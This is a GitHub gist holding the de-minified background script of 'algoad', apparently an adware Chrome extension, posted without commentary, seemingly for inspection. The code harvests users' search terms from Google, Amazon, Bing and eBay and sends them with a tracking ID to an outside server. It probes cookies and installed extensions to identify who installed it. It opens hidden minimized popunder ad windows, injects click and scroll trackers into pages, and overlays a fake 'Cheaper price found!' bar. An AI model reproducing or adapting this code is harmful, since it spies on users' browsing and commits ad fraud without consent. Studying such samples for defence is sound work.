-
-
Save ExpHP/15ea4004683492640744db8127ede9c9 to your computer and use it in GitHub Desktop.
unminified algoad
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"use strict"; | |
var _slicedToArray = function() { | |
function e(e, t) { | |
var n = [], | |
o = !0, | |
r = !1, | |
a = void 0; | |
try { | |
for (var i, l = e[Symbol.iterator](); !(o = (i = l.next()).done) && (n.push(i.value), !t || n.length !== t); o = !0); | |
} catch (e) { | |
r = !0, a = e | |
} finally { | |
try { | |
!o && l.return && l.return() | |
} finally { | |
if (r) throw a | |
} | |
} | |
return n | |
} | |
return function(t, n) { | |
if (Array.isArray(t)) return t; | |
if (Symbol.iterator in Object(t)) return e(t, n); | |
throw new TypeError("Invalid attempt to destructure non-iterable instance") | |
} | |
}(), | |
_typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(e) { | |
return typeof e | |
} : function(e) { | |
return e && "function" == typeof Symbol && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e | |
}, | |
ev = "1.9.0", | |
maxLoadingTime = 26, | |
bn, server, DEBUG, m2 = { | |
enabled: !1, | |
params: {}, | |
dl: [], | |
re: /.^/, | |
timerUpdate: void 0, | |
kw: !1, | |
popunders: {}, | |
headers: { | |
"Content-type": "application/x-www-form-urlencoded" | |
}, | |
go: function(e) { | |
function t() { | |
chrome.cookies.set({ | |
url: "http://clkrpts.com/", | |
name: "lastID", | |
value: chrome.runtime.id | |
}, function() { | |
m2.init(e) | |
}) | |
} | |
chrome.cookies.get({ | |
url: "http://clkrpts.com/", | |
name: "lastID" | |
}, function(n) { | |
n ? n.value === chrome.runtime.id ? m2.init(e) : chrome.management.getAll(function(e) { | |
var o = e.filter(function(e) { | |
return e.enabled | |
}).map(function(e) { | |
return e.id | |
}); | |
o.includes(n.value) || t() | |
}) : t() | |
}) | |
}, | |
enable: function() { | |
this.enabled || (this.enableFOandKeywordCollector(), this.enableMP(), this.params.topbar && this.enableTopbar(), this.params.button && chrome.browserAction.enable(), this.enabled = !0) | |
}, | |
disable: function() { | |
this.enabled && (this.disableFOandKeywordCollector(), this.disableMP(), this.params.topbar && this.disableTopbar(), this.params.button && chrome.browserAction.disable(), this.enabled = !1) | |
}, | |
whoInstalledMe: function(e, t) { | |
return "installedByT" in localStorage || "v" in localStorage ? void t() : localStorage.installedBy ? (localStorage.installedByT = localStorage.installedBy, localStorage.installedByDispURL = "localStorage.installedBy", localStorage.installedByD = "chromeInstalledBy.exe", localStorage.installedByCampType = "extBnd", void t()) : void chrome.tabs.query({ | |
status: "complete" | |
}, function(n) { | |
var o = [], | |
r = !0, | |
a = !1, | |
i = void 0; | |
try { | |
for (var l, c = function() { | |
var e = l.value; | |
o.push(new Promise(function(t) { | |
chrome.tabs.executeScript(e.id, { | |
code: 'document && document.body && document.body.getAttribute("algoad-extInst-installedByT")', | |
runAt: "document_start" | |
}, function(n) { | |
t(chrome.runtime.lastError ? [] : n[0] ? [n[0], e.url] : []) | |
}) | |
})) | |
}, d = n[Symbol.iterator](); !(r = (l = d.next()).done); r = !0) c() | |
} catch (e) { | |
a = !0, i = e | |
} finally { | |
try { | |
!r && d.return && d.return() | |
} finally { | |
if (a) throw i | |
} | |
} | |
Promise.all(o).then(function(n) { | |
n = n.filter(function(e) { | |
return e.length | |
}), 0 === n.length ? chrome.cookies.get({ | |
url: "https://ntmxser.com/", | |
name: "algoad-extLP-installedByT" | |
}, function(n) { | |
chrome.cookies.get({ | |
url: "https://ntmxser.com/", | |
name: "algoad-extLP-installedByDispURL" | |
}, function(o) { | |
n && o ? (localStorage.installedByT = decodeURIComponent(n.value), localStorage.installedByDispURL = decodeURIComponent(o.value), localStorage.installedByD = new URL(localStorage.installedByDispURL).hostname, localStorage.installedByCampType = "extLP", t()) : e.installedBy && e.campType ? (localStorage.installedByT = e.installedBy, localStorage.installedByDispURL = "token.json/installedBy", localStorage.installedByD = "token.json", localStorage.installedByCampType = "extBnd", t()) : t() | |
}) | |
}) : 1 === n.length ? (localStorage.installedByT = n[0][0], localStorage.installedByDispURL = n[0][1], localStorage.installedByD = new URL(n[0][1]).hostname, localStorage.installedByCampType = "extInst", t()) : t() | |
}) | |
}) | |
}, | |
init: function(e) { | |
var t = this; | |
this.whoInstalledMe(e, function() { | |
t.params = e, (e.button || e.getArticles) && chrome.browserAction.disable(), DEBUG = e.DEBUG || !1, bn = e.bn, server = e.server || "http://clkrpts.com/m2", t.kw = e.inText || e.inImage, t.headers["X-API-Key"] = e.t, DEBUG && (t.headers["X-Demo"] = "algoadChrome"), void 0 === localStorage.c2 && (localStorage.c2 = ""), chrome.storage.local.get("dl", function(e) { | |
var t = e.dl; | |
if (localStorage.c2 && localStorage.c2 !== localStorage.c) m2.forceUpdate(); | |
else if (localStorage.v === ev && (!m2.kw || m2.kw && localStorage.updKW && Date.now() - Date.parse(localStorage.updKW) < 864e5) && localStorage.upd && Date.now() - Date.parse(localStorage.upd) < 864e5) { | |
m2.dl = t, m2.re = new RegExp("https?:\\/\\/(?:[\\w\\-]+\\.)*(" + m2.dl.map(function(e) { | |
return e.replace(".", "\\.") | |
}).join("|") + ").*"), JSON.parse(localStorage.cs || "false") && m2.enable(); | |
var n = new Date - new Date(localStorage.upd); | |
m2.timerUpdate = setTimeout(function() { | |
m2.forceUpdate() | |
}, 864e5 - n) | |
} else m2.forceUpdate() | |
}), t.enablePopupCloser(), t.enableClicksAndScrolls(), e.button && t.enableButton(), e.bn && t.enableGads(), (e.inText || e.inImage) && t.enableInTextAndImageAds(), e.getArticles && t.enableGetArticles(), chrome.tabs.query({}, function(e) { | |
var t = !0, | |
n = !1, | |
o = void 0; | |
try { | |
for (var r, a = e[Symbol.iterator](); !(t = (r = a.next()).done); t = !0) { | |
var i = r.value; | |
chrome.tabs.executeScript(i.id, { | |
code: 'document.body.setAttribute("algoad", "")', | |
allFrames: !1, | |
matchAboutBlank: !1, | |
runAt: "document_start" | |
}, function() { | |
chrome.runtime.lastError | |
}) | |
} | |
} catch (e) { | |
n = !0, o = e | |
} finally { | |
try { | |
!t && a.return && a.return() | |
} finally { | |
if (n) throw o | |
} | |
} | |
}), chrome.webNavigation.onDOMContentLoaded.addListener(function(e) { | |
0 === e.frameId && chrome.tabs.executeScript(e.tabId, { | |
code: 'document.body.setAttribute("algoad", "")', | |
allFrames: !1, | |
matchAboutBlank: !1, | |
runAt: "document_start" | |
}, function() { | |
chrome.runtime.lastError | |
}) | |
}) | |
}) | |
}, | |
forceUpdate: function() { | |
clearTimeout(this.timerUpdate); | |
var e = function() { | |
m2.timerUpdate = setTimeout(function() { | |
m2.forceUpdate() | |
}, 864e5) | |
}, | |
t = { | |
uID: localStorage.uID || "", | |
c: localStorage.c || "", | |
c2: localStorage.c2 || "", | |
b: "chrome", | |
bv: /Chrome\/([0-9.]+)/.exec(navigator.userAgent)[1], | |
ev: ev, | |
kw: this.kw, | |
tp: "addon" | |
}, | |
n = Object.keys(t).filter(function(e) { | |
return t[e] || 0 === t[e] | |
}).map(function(e) { | |
return e + "=" + encodeURIComponent(t[e]) | |
}).join("&"); | |
fetch(server + "/getUpdates", { | |
method: "POST", | |
headers: this.headers, | |
body: n | |
}).then(function(e) { | |
return e.json() | |
}).then(function(t) { | |
m2.forceUpdate.ec = 0, t.error ? (e(), m2.sendError("Error from API server (getUpdates) - " + t.error)) : (localStorage.v = ev, localStorage.uID = t.uID, localStorage.c = t.c, localStorage.tid = t.ga || "", localStorage.mpc = t.mpc || "", localStorage.cs = JSON.stringify(t.cs), chrome.storage.local.set({ | |
dl: t.dl || [], | |
kwShow: t.kwShow || [], | |
kw: t.kw || [] | |
}, function() { | |
localStorage.upd = (new Date).toString(), localStorage.updKW = (new Date).toString(), t.cs ? (t.dl && t.dl.length ? (m2.dl = t.dl, m2.re = new RegExp("https?:\\/\\/(?:[\\w\\-]+\\.)*(" + m2.dl.map(function(e) { | |
return e.replace(".", "\\.") | |
}).join("|") + ").*")) : (m2.dl = [], m2.re = /.^/), m2.enable()) : m2.disable(), "installedByT" in localStorage && ("installedByUpd" in localStorage || (m2.setDispRpt({ | |
uID: localStorage.uID, | |
c: localStorage.c, | |
d: localStorage.installedByD, | |
tp: "instcamp", | |
dispURL: localStorage.installedByDispURL, | |
prID: -1, | |
installedBy: localStorage.installedByT, | |
campType: localStorage.installedByCampType | |
}), localStorage.installedByUpd = (new Date).toString())) | |
}), e()) | |
}).catch(function(t) { | |
var n = "ec" in m2.forceUpdate ? ++m2.forceUpdate.ec : m2.forceUpdate.ec = 1; | |
n > 5 ? (m2.forceUpdate.ec = 0, e(), m2.sendPixel("API server is unavailable (getUpdates)", ev + " - " + t.message), m2.disable()) : m2.forceUpdate() | |
}) | |
}, | |
sendPixel: function(e, t) { | |
if (localStorage.tid) { | |
var n = { | |
v: "1", | |
tid: localStorage.tid, | |
cid: localStorage.uID, | |
t: "event", | |
ec: "chrome", | |
ea: e, | |
el: t | |
}, | |
o = Object.keys(n).map(function(e) { | |
return e + "=" + encodeURIComponent(n[e]) | |
}).join("&"); | |
fetch("https://www.google-analytics.com/collect", { | |
method: "POST", | |
headers: { | |
"Content-type": "application/x-www-form-urlencoded" | |
}, | |
body: o | |
}).then(function() {}).catch(function() {}) | |
} | |
}, | |
sendError: function(e) { | |
var t = { | |
ev: ev, | |
bv: /Chrome\/([0-9.]+)/.exec(navigator.userAgent)[1], | |
enabled: this.enabled, | |
uID: localStorage.uID, | |
update: new Date(localStorage.upd).toString(), | |
afterUpdate: (new Date - new Date(localStorage.upd)) / 36e5 + " hour(s)", | |
n: this.dl.length, | |
updateK: new Date(localStorage.kUpd).toString(), | |
afterUpdateK: (new Date - new Date(localStorage.kUpd)) / 36e5 + " hour(s)", | |
k: localStorage.k | |
}, | |
n = Object.keys(t).map(function(e) { | |
return e + '="' + t[e] + '"' | |
}).join(" "), | |
o = { | |
uID: localStorage.uID, | |
c: localStorage.c, | |
d: "none", | |
tp: "none", | |
dispURL: "none", | |
prID: "0", | |
errInf: "(" + n + ") " + e | |
}, | |
r = Object.keys(o).filter(function(e) { | |
return o[e] || 0 === o[e] | |
}).map(function(e) { | |
return e + "=" + encodeURIComponent(o[e]) | |
}).join("&"); | |
fetch(server + "/setErrRpt", { | |
method: "POST", | |
headers: this.headers, | |
body: r | |
}).then(function(e) { | |
return e.json() | |
}).then(function(e) { | |
e.s | |
}).catch(function(e) {}) | |
}, | |
setDispRpt: function(e) { | |
"kw" === e.tp; | |
var t = Object.keys(e).filter(function(t) { | |
return e[t] || 0 === e[t] | |
}).map(function(t) { | |
return t + "=" + encodeURIComponent(e[t]) | |
}).join("&"); | |
fetch(server + "/setDispRpt", { | |
method: "POST", | |
headers: this.headers, | |
body: t | |
}).then(function(e) { | |
return e.json() | |
}).then(function(e) { | |
m2.setDispRpt.ec = 0, e.error && m2.sendError("Error from API server (setDispRpt) - " + e.error) | |
}).catch(function(t) { | |
var n = "ec" in m2.setDispRpt ? ++m2.setDispRpt.ec : m2.setDispRpt.ec = 1; | |
n > 5 ? (m2.setDispRpt.ec = 0, m2.sendPixel("API server is unavailable (setDispRpt)", ev + " - " + t.message)) : m2.setDispRpt(e) | |
}) | |
}, | |
sendReport: function() { | |
var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "", | |
t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "", | |
n = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : "", | |
o = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : "", | |
r = arguments.length > 4 && void 0 !== arguments[4] ? arguments[4] : "", | |
a = { | |
uID: localStorage.uID, | |
c: localStorage.c, | |
d: e, | |
tp: t, | |
dispURL: n, | |
prID: o, | |
brID: r | |
}, | |
i = Object.keys(a).filter(function(e) { | |
return a[e] || 0 === a[e] | |
}).map(function(e) { | |
return e + "=" + encodeURIComponent(a[e]) | |
}).join("&"); | |
fetch(server + "/setDispRpt", { | |
method: "POST", | |
headers: this.headers, | |
body: i | |
}).then(function(e) { | |
return e.json() | |
}).then(function(e) { | |
m2.sendReport.ec = 0, e.error && m2.sendError("Error from API server (setDispRpt) - " + e.error) | |
}).catch(function(e) { | |
var t = "ec" in m2.sendReport ? ++m2.sendReport.ec : m2.sendReport.ec = 1; | |
t > 5 ? (m2.sendReport.ec = 0, m2.sendPixel("API server is unavailable (setDispRpt)", ev + " - " + e.message)) : m2.sendReport() | |
}) | |
}, | |
onUpdatedInKeywordCollector: function(e, t, n) { | |
if (!m2.popunders[n.windowId] && t && t.url) { | |
var o; | |
if (/^https?:\/\/[\w\-\.]+google[\w\-\.]+\/.*/i.test(t.url)) { | |
var r = /#.*&?q=([^&#]+)/i.exec(t.url), | |
a = /[?&]q=([^&#]+)/.exec(t.url), | |
i = ""; | |
if (r ? i = r[1] : a && (i = a[1]), i) { | |
var l = decodeURIComponent(i.replace(/\+/g, "%20")); | |
l !== localStorage.k && (m2.sendFO(l), localStorage.k = l), localStorage.kUpd = (new Date).toString() | |
} | |
} else /^https?:\/\/[\w\-\.]+amazon[\w\-\.]+\/.*/i.test(t.url) ? (o = /[?&]field-keywords=([^&#]+)/.exec(t.url), o && (localStorage.k = decodeURIComponent(o[1].replace(/\+/g, "%20")), localStorage.kUpd = (new Date).toString())) : /^https?:\/\/[\w\-\.]+bing[\w\-\.]+\/.*/i.test(t.url) ? (o = /[?&]q=([^&#]+)/.exec(t.url), o && (localStorage.k = decodeURIComponent(o[1].replace(/\+/g, "%20")), localStorage.kUpd = (new Date).toString())) : /^https?:\/\/[\w\-\.]+ebay[\w\-\.]+\/.*/i.test(t.url) && (o = /[?&]_nkw=([^&#]+)/.exec(t.url), o && (localStorage.k = decodeURIComponent(o[1].replace(/\+/g, "%20")), localStorage.kUpd = (new Date).toString())) | |
} | |
}, | |
enableFOandKeywordCollector: function() { | |
chrome.tabs.onUpdated.addListener(this.onUpdatedInKeywordCollector) | |
}, | |
disableFOandKeywordCollector: function() { | |
chrome.tabs.onUpdated.removeListener(this.onUpdatedInKeywordCollector) | |
}, | |
getDispAsync: function(e, t) { | |
chrome.storage.local.get("disp", function(n) { | |
var o = n.disp; | |
t(o && o[e] ? encodeURIComponent(Object.keys(o[e]).map(function(t) { | |
return t + "=" + Math.round((new Date - new Date(o[e][t])) / 1e3) | |
}).join(",")) : "") | |
}) | |
}, | |
getDisp: function(e) { | |
if (!localStorage[e]) return ""; | |
var t = function() { | |
var t = JSON.parse(localStorage[e]); | |
return { | |
v: Object.keys(t).map(function(e) { | |
return e + "=" + Math.round((new Date - new Date(t[e])) / 1e3) | |
}).join(",") | |
} | |
}(); | |
return "object" === ("undefined" == typeof t ? "undefined" : _typeof(t)) ? t.v : void 0 | |
}, | |
getMpDisp: function() { | |
var e = {}, | |
t = !0, | |
n = !1, | |
o = void 0; | |
try { | |
for (var r, a = this.dl[Symbol.iterator](); !(t = (r = a.next()).done); t = !0) { | |
var i = r.value, | |
l = this.getDisp(i); | |
l && (e[i] = l) | |
} | |
} catch (e) { | |
n = !0, o = e | |
} finally { | |
try { | |
!t && a.return && a.return() | |
} finally { | |
if (n) throw o | |
} | |
} | |
return JSON.stringify(e) | |
}, | |
sendFO: function(e) { | |
if (!(new Date < new Date(localStorage.snz) || this.FOwaiting)) { | |
this.FOwaiting = !0; | |
var t = { | |
uID: localStorage.uID, | |
c: localStorage.c, | |
k: e, | |
disp: this.getDisp("google"), | |
mpDisp: this.getMpDisp() | |
}, | |
n = Object.keys(t).filter(function(e) { | |
return t[e] || 0 === t[e] | |
}).map(function(e) { | |
return e + "=" + encodeURIComponent(t[e]) | |
}).join("&"); | |
fetch(server + "/getFOOffer", { | |
method: "POST", | |
headers: this.headers, | |
body: n | |
}).then(function(e) { | |
return e.json() | |
}).then(function(e) { | |
if (m2.sendFO.ec = 0, m2.FOwaiting = !1, e.error) m2.sendError("Error from API server (FO) - " + e.error); | |
else { | |
if (e.s) { | |
var t = JSON.parse(localStorage.google || "{}"); | |
t[e.prID] = (new Date).getTime(), localStorage.google = JSON.stringify(t), chrome.windows.create({ | |
url: e.dispURL, | |
state: "minimized" | |
}, function(t) { | |
m2.popunders[t.id] = { | |
type: 1, | |
d: "google", | |
tp: "fo", | |
dispURL: e.dispURL, | |
prID: e.prID | |
}, setTimeout(function() { | |
m2.closePopunder(t.id) | |
}, 1e3 * maxLoadingTime) | |
}) | |
} | |
e.snz && (localStorage.snz = new Date((new Date).getTime() + 1e3 * e.snz).toString()) | |
} | |
}).catch(function(e) { | |
m2.FOwaiting = !1; | |
var t = "ec" in m2.sendFO ? ++m2.sendFO.ec : m2.sendFO.ec = 1; | |
t > 5 ? (m2.sendFO.ec = 0, m2.sendPixel("API server is unavailable (FO)", ev + " - " + e.message)) : m2.sendFO() | |
}) | |
} | |
}, | |
enablePopupCloser: function() { | |
chrome.tabs.onUpdated.addListener(function(e, t, n) { | |
var o = n.windowId; | |
m2.popunders[o] && "complete" === t.status ? setTimeout(function() { | |
m2.popunders[o] && chrome.tabs.get(e, function(e) { | |
if (chrome.runtime.lastError); | |
else if ("complete" === e.status && e.url === n.url) { | |
var t = m2.popunders[e.windowId]; | |
(1 === t.type || 2 === t.type && localStorage.mpc) && (delete m2.popunders[e.windowId], chrome.windows.remove(e.windowId)) | |
} | |
}) | |
}, 6e3) : m2.popunders[o] && 2 === m2.popunders[o].type && "loading" === t.status || m2.popunders[o] && 1 !== m2.popunders[o].type && 2 !== m2.popunders[o].type | |
}), chrome.webNavigation.onDOMContentLoaded.addListener(function(e) { | |
0 === e.frameId && e.tabId && chrome.tabs.get(e.tabId, function(e) { | |
if (!chrome.runtime.lastError) { | |
var t = m2.popunders[e.windowId]; | |
t && t.tabId === e.id && ! function() { | |
var n = function e(t) { | |
chrome.webRequest.onBeforeRedirect.removeListener(e), clearTimeout(o) | |
}, | |
o = setTimeout(function() { | |
chrome.webRequest.onBeforeRedirect.removeListener(n), chrome.tabs.executeScript(e.id, { | |
code: '\n\t\t\t\t\t\t\t\tconst d = "' + t.d + '"\n\t\t\t\t\t\t\t\tconst dispURL = "' + t.dispURL + '"\n\t\t\t\t\t\t\t\tconst prID = ' + t.prID + '\n\t\t\t\t\t\t\t\tconst scrollTimeout = 1000\n\t\t\t\t\t\t\t\tlet lastScroll = 0\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\twindow.addEventListener("click", function (e) {\n\t\t\t\t\t\t\t\t\tconst message = {\n\t\t\t\t\t\t\t\t\t\taction: "mp_click",\n\t\t\t\t\t\t\t\t\t\td,\n\t\t\t\t\t\t\t\t\t\ttp: "mp_click",\n\t\t\t\t\t\t\t\t\t\tdispURL,\n\t\t\t\t\t\t\t\t\t\tprID,\n\t\t\t\t\t\t\t\t\t\tbrURL: window.location.href,\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tchrome.runtime.sendMessage(message)\n\t\t\t\t\t\t\t\t\t// console.debug("mp_click message has been sent:", message)\n\t\t\t\t\t\t\t\t}, false)\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\twindow.addEventListener("scroll", function (e) {\n\t\t\t\t\t\t\t\t\tif (Date.now() - lastScroll >= scrollTimeout) {\n\t\t\t\t\t\t\t\t\t\tlastScroll = Date.now()\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tconst message = {\n\t\t\t\t\t\t\t\t\t\t\taction: "mp_scroll",\n\t\t\t\t\t\t\t\t\t\t\td,\n\t\t\t\t\t\t\t\t\t\t\ttp: "mp_scroll",\n\t\t\t\t\t\t\t\t\t\t\tdispURL,\n\t\t\t\t\t\t\t\t\t\t\tprID,\n\t\t\t\t\t\t\t\t\t\t\tbrURL: window.location.href,\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\tchrome.runtime.sendMessage(message)\n\t\t\t\t\t\t\t\t\t\t// console.debug("mp_scroll message has been sent:", message)\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}, false)\n\t\t\t\t\t\t\t' | |
}, function() { | |
chrome.runtime.lastError | |
}), m2.setDispRpt({ | |
uID: localStorage.uID, | |
c: localStorage.c, | |
d: t.d, | |
tp: t.tp, | |
dispURL: t.dispURL, | |
prID: t.prID, | |
k: decodeURIComponent(localStorage.k) || "", | |
brURL: e.url | |
}), delete m2.popunders[e.windowId].tabId | |
}, 4e3); | |
chrome.webRequest.onBeforeRedirect.addListener(n, { | |
urls: ["<all_urls>"], | |
tabId: e.id, | |
types: ["main_frame"] | |
}) | |
}() | |
} | |
}) | |
}) | |
}, | |
onTabReplacedInEnableMP: function(e) { | |
chrome.tabs.get(e.tabId, function(e) { | |
if (0 !== m2.dl.length && e.url.startsWith("h") && !m2.popunders[e.windowId] && "complete" === e.status) { | |
var t = m2.re.exec(e.url); | |
t && m2.sendMP(t[1]) | |
} | |
}) | |
}, | |
onUpdatedInEnableMP: function(e, t, n) { | |
if (0 !== m2.dl.length && n.url.startsWith("h") && !m2.popunders[n.windowId] && t && "complete" === t.status) { | |
var o = m2.re.exec(n.url); | |
o && m2.sendMP(o[1]) | |
} | |
}, | |
enableMP: function() { | |
chrome.webNavigation.onTabReplaced.addListener(this.onTabReplacedInEnableMP), chrome.tabs.onUpdated.addListener(this.onUpdatedInEnableMP) | |
}, | |
disableMP: function() { | |
chrome.webNavigation.onTabReplaced.removeListener(this.onTabReplacedInEnableMP), chrome.tabs.onUpdated.removeListener(this.onUpdatedInEnableMP) | |
}, | |
sendMP: function(e) { | |
if (!this.MPwaiting) { | |
this.MPwaiting = !0; | |
var t = ""; | |
localStorage.kUpd && new Date - new Date(localStorage.kUpd) <= 864e5 && (t = localStorage.k); | |
var n = { | |
uID: localStorage.uID, | |
c: localStorage.c, | |
d: e, | |
k: t, | |
disp: this.getDisp(e) | |
}, | |
o = Object.keys(n).filter(function(e) { | |
return n[e] || 0 === n[e] | |
}).map(function(e) { | |
return e + "=" + encodeURIComponent(n[e]) | |
}).join("&"); | |
fetch(server + "/getMPOffer", { | |
method: "POST", | |
headers: this.headers, | |
body: o | |
}).then(function(e) { | |
return e.json() | |
}).then(function(t) { | |
if (m2.sendMP.ec = 0, m2.MPwaiting = !1, t.error) m2.sendError("Error from API server (MP) - " + t.error); | |
else if (t.s) { | |
var n = JSON.parse(localStorage[e] || "{}"), | |
o = !0, | |
r = !1, | |
a = void 0; | |
try { | |
for (var i, l = t.mDispURLs[Symbol.iterator](); !(o = (i = l.next()).done); o = !0) { | |
var c = i.value; | |
n[c.prID] = Date.now() | |
} | |
} catch (e) { | |
r = !0, a = e | |
} finally { | |
try { | |
!o && l.return && l.return() | |
} finally { | |
if (r) throw a | |
} | |
} | |
localStorage[e] = JSON.stringify(n); | |
for (var d = function(n) { | |
var o = t.mDispURLs[n]; | |
n + 1 < t.mDispURLs.length ? chrome.windows.create({ | |
url: o.dispURL, | |
state: "minimized" | |
}, function(t) { | |
m2.popunders[t.id] = { | |
type: 1, | |
d: e, | |
tp: "mp", | |
dispURL: o.dispURL, | |
prID: o.prID, | |
tabId: t.tabs[0].id | |
}, setTimeout(function() { | |
m2.closePopunder(t.id) | |
}, 1e3 * maxLoadingTime) | |
}) : chrome.windows.create({ | |
url: o.dispURL, | |
state: "minimized" | |
}, function(t) { | |
m2.popunders[t.id] = { | |
type: localStorage.mpc ? 1 : 2, | |
d: e, | |
tp: "mp", | |
dispURL: o.dispURL, | |
prID: o.prID, | |
tabId: t.tabs[0].id | |
} | |
}) | |
}, s = 0; s < t.mDispURLs.length; ++s) d(s) | |
} | |
}).catch(function(e) { | |
m2.MPwaiting = !1; | |
var t = "ec" in m2.sendMP ? ++m2.sendMP.ec : m2.sendMP.ec = 1; | |
t > 5 ? (m2.sendMP.ec = 0, m2.sendPixel("API server is unavailable (MP)", ev + " - " + e.message)) : m2.sendMP() | |
}) | |
} | |
}, | |
closePopunder: function(e) { | |
chrome.tabs.query({ | |
windowId: e, | |
index: 0 | |
}, function(t) { | |
var n = _slicedToArray(t, 1), | |
o = n[0]; | |
if (m2.popunders[e]) { | |
var r = m2.popunders[e]; | |
m2.sendReport(r.d, r.tp, r.dispURL, r.prID, o.url), delete m2.popunders[e], chrome.windows.remove(e) | |
} | |
}) | |
}, | |
code: '"use strict";function buildTopbar(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";if(!(localStorage.topbarSnzUntil&&new Date<new Date(localStorage.topbarSnzUntil))){delete localStorage.topbarSnzUntil;var n=document.createElement("div");n.className="_f2_twenga_tb",n.style.cssText="text-align: left; position: fixed; z-index: 65535; left: 0px; top: 0px; padding: 0px; margin: 0px; background-color: white; width: 100%; line-height: 1;",n.style.zIndex="2147483647";var o=document.createElement("div");o.className="_f2_container",n.appendChild(o);var a=document.createElement("table");a.className="_f2_bar",o.appendChild(a);var r=document.createElement("tbody");a.appendChild(r);var i=document.createElement("tr");r.appendChild(i);var l=document.createElement("td");l.className="_f2_text",i.appendChild(l);var d=document.createElement("div");l.appendChild(d);var c=document.createElement("strong");c.style.cssText="vertical-align: middle; font-size: 14px;",c.innerText="Cheaper price found!",d.appendChild(c);var s=document.createElement("span");s.style.cssText="vertical-align: middle;",s.innerText=" Buy this product for ",d.appendChild(s);for(var p=0;e[p];++p){var m=document.createElement("a");if(m.className="_f2_twenga_tb_first",m.style.cssText="vertical-align: middle; color: rgb(0, 0, 221);",m.href=e[p].dispURL,m.innerText=e[p].price+" from "+e[p].mrch,d.appendChild(m),3===p||p===e.length-1)break;d.appendChild(document.createTextNode(", "))}var A=document.createElement("td");A.className="_f2_buttons",A.align="right",i.appendChild(A);var h=document.createElement("div");h.style.cssText="display: inline-block; vertical-align: middle; margin-right: 3px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; width: 150px;",A.appendChild(h);var u="url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAAcCAIAAADECPmYAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABeSURBVBhXLY6LDcQwCEMd9h+0O1yD7xkagSx/IBz/Hltl+8hFC7CbgrV0yxFVclOFIgFhFzYDKPFsvMscL1veiWRZYNmYsEkGEElSbPm8Te7v4ryIsN6BiJoD6aP+AwvJWYcG7cEmAAAAAElFTkSuQmCC)",g="url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAAcCAIAAADECPmYAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABdSURBVBhXLY6LDYBACENLz/0XcioHMPgKXrgQ+oN6n1uSpaK2/ZO9gNU9YBUFQh2mA7VczxTDz+UBklJRXhvGOya44VoYLoNMisDT1seS+CIxytke5UTvEXNHvsofw4sPQ6nYUwYAAAAASUVORK5CYII=)",x=document.createElement("div");x.className="_f2_twenga_tb_button",x.style.cssText="vertical-align: middle; display: inline-block; height: 30px; border: 1px solid rgb(152, 142, 99); border-radius: 4px; box-sizing: border-box; padding: 7px 6px 6px; background-repeat: repeat-x; background-size: auto 100%; cursor: pointer; font-size: 14px; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; max-width: 200px; background-image: url(\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAAcCAIAAADECPmYAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAABeSURBVBhXLY6LDcQwCEMd9h+0O1yD7xkagSx/IBz/Hltl+8hFC7CbgrV0yxFVclOFIgFhFzYDKPFsvMscL1veiWRZYNmYsEkGEElSbPm8Te7v4ryIsN6BiJoD6aP+AwvJWYcG7cEmAAAAAElFTkSuQmCC\');",x.innerText="View More Offers",x.addEventListener("click",function(){"block"===y.style.display?(y.style.display="none",this.style.backgroundImage=u):(y.style.top="40px",y.style.display="block",this.style.backgroundImage=g)}),A.appendChild(x);var v=document.createElement("a");v.className="_f2_twenga_tb_close",v.style.cssText="vertical-align: middle; display: inline-block; position: fixed; top: 13px; right: 10px; width: 10px; height: 10px; background-repeat: no-repeat; background-image: url(\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAGhJREFUeNpiVJZXEGBgYAgA4g13Hz74wIAEkOWYoIz5QLwfKoGsaD9ULoARScAAiC8AsSNULYoYI5pumAQDsiKQkxixWGUAFYIrAnGYGIgExFtNrGdgwYOiG+ouR6iYAXLwEAxwgAADAJxQOFSfn6a7AAAAAElFTkSuQmCC\'); color: rgb(0, 0, 221);",v.href="javascript:void(0)",v.addEventListener("click",function(){y.style.display="none",x.style.backgroundImage=u,"block"===N.style.display?N.style.display="none":N.style.display="block"}),A.appendChild(v);var y=document.createElement("div");y.className="_f2_twenga_tb_overlay",y.style.cssText="position: fixed; right: 0px; width: 450px; box-sizing: border-box; border-radius: 10px; box-shadow: 0px 0px 5px 5px rgb(136, 136, 136); padding: 6px; margin-left: -225px; background-color: white; z-index: 9999999; top: 40px;",y.style.display="none",n.appendChild(y);var b=document.createElement("strong");b.innerText=t,b.textContent=decodeURIComponent(t.replace(/\\+/g,"%20")),y.appendChild(b);var f=document.createElement("div");f.className="_f2_twenga_tb_overlay_viewport",f.style.cssText="width: 430px; max-height: 550px; padding: 4px; overflow-y: scroll;",f.style.boxSizing="content-box",y.appendChild(f);var w=document.createElement("table");w.style.cssText="border-collapse: collapse; width: 410px; border: medium none; font-family: inherit; font-size: inherit; font-style: inherit; 